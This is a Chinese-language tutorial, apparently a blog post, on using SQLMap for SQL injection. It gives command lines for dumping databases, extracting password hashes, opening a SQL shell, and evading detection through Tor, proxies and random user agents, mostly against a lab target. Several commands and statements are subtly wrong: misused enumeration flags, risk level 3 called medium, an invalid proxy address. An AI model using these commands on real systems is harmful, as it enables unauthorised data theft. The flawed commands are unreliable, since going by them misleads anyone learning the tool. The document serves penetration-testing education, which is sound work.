1. SQLMap简介

sqlmap自动化_sql

SQLMap 是一款强大的开源自动化SQL注入工具,用于检测、利用和审计SQL注入漏洞。它支持多种数据库类型(如MySQL、Oracle、PostgreSQL等),能够自动识别注入点、枚举数据库结构、提取数据,甚至实现数据库系统的完全控制。以下是使用SQLMap进行自动化注入的教学及示例。

2. 安装与基本使用

sqlmap自动化_python_02

安装:

  • 从SQLMap官方网站(http://sqlmap.org/)下载最新版本的SQLMap。
  • 根据操作系统类型(Windows、Linux、macOS)进行相应安装。对于Linux和macOS,通常通过解压压缩包或使用包管理器(如pip install sqlmap)进行安装。

帮助:

sqlmap自动化_数据库_03

SQLmap -

SQLmap帮助命令

SQLMap参数及其作用及示例

SQLMap是一款强大的自动化SQL注入工具,具有众多参数来控制其行为、指定目标、调整注入策略、收集信息、进行交互等。以下是一些关键参数的作用及示例:

  1. 指定目标URL
  • 参数:-u 或 --url
  • 作用:指定要测试的含有潜在SQL注入点的URL。
  • 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1"
  1. 指定请求方法与数据
  • 参数:--method 和 --data
  • 作用:指定HTTP请求的方法(如POST)和数据。
  • 示例:
python sqlmap.py -u "http://target.com/api/login" --method POST --data "username=admin&password=123"
  1. 指定数据库类型
  • 参数:--dbms
  • 作用:明确指定目标数据库管理系统(DBMS)类型,如MySQL、Oracle、SQL Server等。
  • 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbms MySQL
  1. 枚举数据库信息
  • 参数:--dbs--tables--columns
  • 作用:分别枚举目标数据库中的所有数据库名、特定数据库中的所有表名、特定表中的所有列名。
  • 示例:
# 枚举所有数据库
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs

# 枚举特定数据库(如'db_name')中的所有表
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs db_name --tables

# 枚举特定表(如'table_name')中的所有列
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs db_name --tables table_name --columns
  1. 提取数据
  • 参数:--dump
  • 作用:从目标数据库中提取指定表(或所有表)的数据。
  • 示例:
# 提取特定表(如'table_name')的所有数据
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs db_name --tables table_name --dump

# 提取所有表的数据(需谨慎,可能导致大量数据输出)
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dump-all
  1. 设置注入级别与风险
  • 参数:--level 和 --risk
  • 作用:调整SQLMap的注入测试深度(--level)和采取的公鸡风险级别(--risk)。
  • 示例:
1# 设置注入级别为5(最大),风险级别为3(中等)
2python sqlmap.py -u "http://target.com/vuln.php?id=1" --level 5 --risk 3
  1. 使用代理
  • 参数:--proxy
  • 作用:通过指定的HTTP代理服务器发送请求。
  • 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1" --proxy http://localhost:8080
  1. 设置延时
  • 参数:--delay
  • 作用:在每个HTTP请求之间添加指定的延迟时间(单位:秒),以减小对目标服务器的压力。
  • 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1" --delay 2
  1. 进行交互式注入
  • 参数:--sqlmap-shell
  • 作用:启动一个交互式Shell,允许用户手动执行SQL查询并与数据库进行交互。
  • 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1" --sqlmap-shell

基本使用:

sqlmap自动化_python_04

python sqlmap.py [选项] -u [目标URL]

其中,[选项] 是指定的参数,[目标URL] 是待测试的含有SQL注入点的网页地址。

3. 常用选项与示例

(a)检测注入点

python sqlmap.py -u "http://target.com/vuln.php?id=1"

此命令会尝试检测http://target.com/vuln.phpid参数是否存在SQL注入漏洞。

(b)指定注入类型

python sqlmap.py -u "http://target.com/vuln.php?id=1" --technique=U

使用--technique选项指定注入技术,如U表示使用UNION查询进行注入测试。SQLMap支持多种注入技术,如B(布尔注入)、T(时间盲注)、E(错误注入)等。

(c)枚举数据库信息

python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs

--dbs 参数用于枚举目标数据库中的所有数据库名称。

(d)枚举表结构与数据

python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_db --tables
python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_db -T target_table --columns
python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_db -T target_table --dump

这三个命令分别用于枚举指定数据库(target_db)中的所有表名、指定表(target_table)的列名以及导出该表的所有数据。

(e)获取数据库用户密码哈希

python sqlmap.py -u "http://target.com/vuln.php?id=1" --passwords

--passwords 参数用于尝试提取数据库用户的密码哈希值。

(f)使用特定数据库用户

python sqlmap.py -u "http://target.com/vuln.php?id=1" -U db_user --passwords

-U 参数指定数据库用户名(db_user),结合--passwords尝试提取该用户的密码哈希。

(g)指定HTTP方法与数据

python sqlmap.py -u "http://target.com/api/v1/data" --data "id=1" --method POST --level 3 --risk 3

当目标URL接受POST请求时,使用--data传递POST数据,--method指定HTTP方法为POST。--level--risk参数分别调整扫描的深度和采取的风险等级。

(h)设置代理与延时

python sqlmap.py -u "http://target.com/vuln.php?id=1" --proxy http://127.0.0.1:8080 --delay 5

使用--proxy设置HTTP代理,便于通过代理服务器进行扫描。--delay指定每次请求之间的间隔时间,以避免对目标服务器造成过大压力。

3. 高级选项与技巧

(i)多线程扫描

python sqlmap.py -u "http://target.com/vuln.php?id=1" --threads 5

--threads参数指定同时运行的线程数,加快扫描速度。

(j)使用Tor匿名网络

python sqlmap.py -u "http://target.com/vuln.php?id=1" --tor

启用--tor选项,SQLMap将通过Tor网络发起请求,增加扫描的匿名性。

(k)使用SQLite日志记录

python sqlmap.py -u "http://target.com/vuln.php?id=1" --sqlmap-shell -o results.sqlite

进入SQLMap shell模式,使用-o参数指定保存扫描结果的SQLite数据库文件名,方便后续分析。

总结

SQLMap提供了丰富的选项和强大的功能,使得自动化检测和利用SQL注入漏洞变得高效且便捷。通过组合不同的参数,可以根据实际需求定制扫描策略,快速获取目标系统的数据库信息、数据乃至控制权。在使用过程中,务必遵守相关法律法规和道德规范,仅限于授权的安全测试或教育目的。

 4.结合burp扫描

sqlmap自动化_python_05

在请求栏里抓取到的数据包内容可以复制保存出来

sqlmap自动化_sql_06

或者使用文本编辑器(如nanovim等)

1nano 1.txt

1vim 1.txt

这些命令将启动相应的文本编辑器程序,并打开一个新文件名为“1.txt”的编辑窗口。您可以在此窗口中直接输入或粘贴文本内容,编辑完成后按编辑器的保存指令(如nanoCtrl+O后回车,或vim:w后回车)保存文件并退出编辑器。

然后使用命令注入

SQLmap -r ./1.txt

sqlmap自动化_sql_07

注入指定数据库中的数据表

sqlmap自动化_数据库_08

步骤

  1. 启动SQLMap并指定目标URL: 使用-u参数提供包含SQL注入点的URL。
1python sqlmap.py -u "http://target.com/vuln.php?id=1"
  1. 指定目标数据库: 使用-D参数指定要爆破数据表的数据库名称。
1python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_database

替换 target_database 为实际要爆破的数据库名。

  1. 枚举数据库中的表: 使用--tables参数让SQLMap列出指定数据库中的所有表。
1python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_database --tables

执行后,SQLMap将尝试枚举并列出指定数据库中的所有数据表。

获取数据表中的字段信息

sqlmap自动化_数据库_09

sqlmap自动化_python_10

使用sqlmap爆破指定数据库(库)中某个数据表的字段内容,通常按照以下步骤进行操作:

  1. 启动sqlmap: 首先确保已经正确安装了Python环境,并下载了sqlmap工具。在Windows环境下,通常需要通过命令行(以管理员身份运行)进入sqlmap所在目录,然后使用sqlmap.py作为入口脚本;在Linux或macOS环境下,则直接使用sqlmap命令。
  2. 指定目标URL: 提供存在SQL注入漏洞的目标网页URL,格式如下:
1python sqlmap.py -u "http://target_url"

其中,http://target_url应替换为实际待测试的URL,该URL应包含可注入的参数。

  1. 指定数据库和表: 若要爆破特定数据库中的某个表,需要使用-D选项指定数据库名,-T选项指定表名:
1python sqlmap.py -u "http://target_url" -D "database_name" -T "table_name"

替换database_nametable_name为实际要爆破的数据库名和表名。

  1. 指定要爆破的字段: 使用-C选项列出要获取数据的字段名。如果有多个字段,用逗号分隔:
1python sqlmap.py -u "http://target_url" -D "database_name" -T "table_name" -C "column1,column2,..."

column1column2, ...替换为实际要爆破的字段名。

  1. 执行数据爆破: 最后,使用--dump选项来执行数据提取操作,即爆破指定字段的内容:
1python sqlmap.py -u "http://target_url" -D "database_name" -T "table_name" -C "column1,column2,..." --dump

综上所述,完整命令示例如下:

1python sqlmap.py -u "http://target_url?injected_parameter=value" -D "database_name" -T "table_name" -C "column1,column2,..." --dump

请确保替换上述命令中的http://target_url?injected_parameter=valuedatabase_nametable_namecolumn1column2, ...为实际的目标URL、数据库名、表名和字段名。执行此命令后,sqlmap将尝试利用SQL注入漏洞,爆破并显示指定数据库中指定表内指定字段的所有数据。

在实际测试中可能数据表中的字段不会明文存储,是md5值需要在一些网站上在线破姐。

实战小技巧

一、shell

sqlmap自动化_数据库_11

以下是对使用sqlmap执行注入语句的注释:

1sqlmap -u "http://10.0.80.5:9001/Less-1/?id=1" --sql-shell

注释说明:

  1. sqlmap: 这是执行命令的工具名称,即sqlmap SQL注入工具。这是一个强大的自动化工具,用于检测和利用SQL注入漏洞。
  2. -u: 这是一个命令行选项,表示指定目标URL(Uniform Resource Locator)。在这个例子中,目标URL是 "http://10.0.80.5:9001/Less-1/?id=1",指向一个可能存在SQL注入漏洞的Web页面。其中:
  • http:// 表示使用HTTP协议。
  • 10.0.80.5:9001 是目标服务器的IP地址和端口号。
  • /Less-1/ 是路径部分,通常对应于Web应用的一个特定资源或页面。
  • ?id=1 是查询字符串,其中 id 是一个参数,其值为 1。这个参数可能是SQL注入公鸡的切入点。
  1. --sql-shell: 这是一个命令行选项,用于开启一个交互式的SQL shell。在成功利用SQL注入漏洞后,sqlmap会连接到目标数据库,并提供一个命令行界面,允许用户直接执行任意SQL查询。这样,公鸡者可以在已获取的权限范围内自由探索和操作数据库,包括但不限于读取、修改、删除数据,甚至执行系统命令(如果数据库配置允许)。

sqlmap自动化_数据库_12

就变成了sql远程的shell

二、输出外部文件

sqlmap自动化_python_13

sqlmap -u "http://10.0.80.5:9001/Less-1/?id=1" -t http.log

注释说明:

  1. sqlmap: 同前,这是使用的SQL注入工具名称。
  2. -u: 同前,表示指定目标URL。这里的目标URL是 "http://10.0.80.5:9001/Less-1/?id=1",指向可能存在的SQL注入漏洞的Web页面。
  3. -t: 这是一个命令行选项,用于指定输出文件名。当使用 -t 选项时,sqlmap将会把其运行过程中的输出信息(如扫描结果、发现的漏洞、注入详情等)写入到指定的文件中,而不是直接显示在终端屏幕上。在这个例子中,指定的输出文件名为 http.log

总结起来,这条命令指示sqlmap针对给定的URL (http://10.0.80.5:9001/Less-1/?id=1) 进行SQL注入公鸡,并将扫描过程中产生的所有输出信息保存到名为 http.log 的日志文件中。这样做有助于记录公鸡过程、保留详细结果以供后续分析,或者避免在终端中直接显示大量输出影响用户体验。用户可以在扫描完成后查看这个日志文件来了解sqlmap的操作结果和发现的任何安全问题。同样地,此类活动应在合法授权的安全测试环境中进行,并遵循相关的法规与伦理准则。

输入cat命令查看

cat http.log

sqlmap自动化_sql_14

三、代理

sqlmap自动化_python_15

1sqlmap -u "//10.0.80.5:9001/Less-1/?id=1" --proxy=http://1207.0.0.1:1080

注释说明:

  1. sqlmap: 同前,这是使用的SQL注入工具名称。
  2. -u: 同前,表示指定目标URL。这里的目标URL是 "//10.0.80.5:9001/Less-1/?id=1",指向可能存在的SQL注入漏洞的Web页面。注意,这里的双斜线 (//) 在URL中通常是不规范的,标准URL应使用单个斜线 (/) 开始。尽管如此,某些工具可能会接受这样的输入并自动纠正,但建议修正为标准格式以避免潜在问题。
  3. --proxy: 这是一个命令行选项,用于指定HTTP代理服务器。当使用此选项时,sqlmap发送的所有HTTP请求都将通过指定的代理服务器转发。在这个例子中,指定的代理服务器地址为 http://1207.0.0.1:1080,其中:
  • http:// 表明代理使用HTTP协议。
  • 1207.0.0.1 是代理服务器的IP地址。
  • :1080 指定了代理服务器监听的端口。

总结来说,这条命令指示sqlmap通过指定的HTTP代理服务器 (http://1207.0.0.1:1080) 对目标URL (//10.0.80.5:9001/Less-1/?id=1) 进行SQL注入公鸡。使用代理的主要原因可能包括:

  • 隐藏真实源IP地址,增加匿名性。
  • 绕过网络限制,如防火墙或访问控制列表。
  • 利用特定地理位置的代理以模拟特定区域的用户访问。

四、启用随机用户代理

sqlmap自动化_python_16

1sqlmap -u "http://10.0.80.5:9001/Less-1/?id=1" --random-agent

注释说明:

  1. sqlmap: 同前,这是使用的SQL注入工具名称。
  2. -u: 同前,表示指定目标URL。这里的目标URL是 "http://10.0.80.5:9001/Less-1/?id=1",指向可能存在的SQL注入漏洞的Web页面。
  3. --random-agent: 这是一个命令行选项,用于启用随机用户代理(User-Agent)功能。用户代理是HTTP请求头的一部分,通常包含客户端应用程序(如浏览器)的信息,如类型、版本、操作系统等。启用此选项后,sqlmap在每次向目标发送HTTP请求时,都会使用一个从预定义列表中随机选择的用户代理字符串。这样做的主要目的是:
  • 模拟不同浏览器或设备,降低被服务器端基于用户代理识别和阻止自动化工具的可能性。
  • 增加公鸡的隐蔽性,使得公鸡流量更难以通过特征分析被检测和拦截。

综上所述,该命令指示sqlmap在对目标URL (http://10.0.80.5:9001/Less-1/?id=1) 执行SQL注入公鸡时,使用随机变化的用户代理字符串。这一策略有助于提高扫描的匿名性和成功率,尤其是在面对有反爬虫或自动化工具检测机制的服务器时。

四、其他

sqlmap自动化_python_17